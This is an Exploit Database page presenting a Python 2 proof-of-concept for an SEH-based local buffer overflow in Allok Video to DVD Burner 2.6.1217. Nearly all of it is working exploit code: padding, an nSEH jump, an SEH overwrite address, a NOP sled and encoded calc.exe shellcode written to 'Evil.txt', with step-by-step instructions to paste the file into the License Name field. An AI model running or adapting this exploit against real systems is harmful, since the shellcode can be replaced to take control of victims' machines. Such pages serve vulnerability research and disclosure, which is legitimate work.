



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

# Allok Video to DVD Burner 2.6.1217 - Buffer Overflow (SEH)

**EDB-ID:**

44518

**CVE:**

N/A

**EDB Verified:** ✘

**Author:**

[T3JV1L](#)

**Type:**

[LOCAL](#)

**Exploit:**  

**Platform:**

[WINDOWS](#)

**Date:**

2018-04-24

**Vulnerable App:** 



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
#####
# Exploit Title: Buffer Overflow(SEH) on Allok Video to DVD Burner2.6.1217
# Date: 23.04.2018
# Exploit Author:T3jv1l
# Vendor Homepage:http://www.alloksoft.com/
# Software: www.alloksoft.com/allok_dvdburner.exe
# Category:Local
# Contact:https://twitter.com/T3jv1l
# Version: Allok Video to DVD Burner 2.6.1217
# Tested on: Windows 7 SP1 x86
# Hello subinacls !
# Method Corelan Coder : https://www.corelan.be/index.php/2009/07/28/seh-
based-exploit-writing-tutorial-continued-just-another-example-part-3b/
#####
```

```
print"""
#1. Download and install the setup file
#2. Run this exploit code via python 2.7
#3. A file "Evil.txt" will be created
#4. Copy the contents of the file (Evil.txt)and paste in the License Name
field
#5. Click Register and BOMM !!!! """
```

```
import struct
```

```
file = open("Evil.txt","wb")
buffer = 4000
junk = "A" * 780
nseh = "\x90\x90\xeb\x10"
seh = struct.pack("<L",0x10019A09)
nop = "\x90" * 20
```

```
# Shellcode Calc.exe
```

```
buf = ""
buf += "\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
buf += "\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
buf += "\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
buf += "\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
buf += "\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
buf += "\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
buf += "\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
buf += "\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
buf += "\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
buf += "\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
buf += "\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
buf += "\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
buf += "\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
buf += "\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
buf += "\x20\x48\x72\x94\x46\xff\xf3\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
buf += "\xc4\xd9"
exploit = junk + nseh + seh + nop + buf
fillers = buffer - len(exploit)
crush = exploit + "T" * fillers
print "[+] Crush Me"
file.write(crush)
file.close()
```

Tags: [Buffer Overflow](#)

Advisory/Source: [Link](#)



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.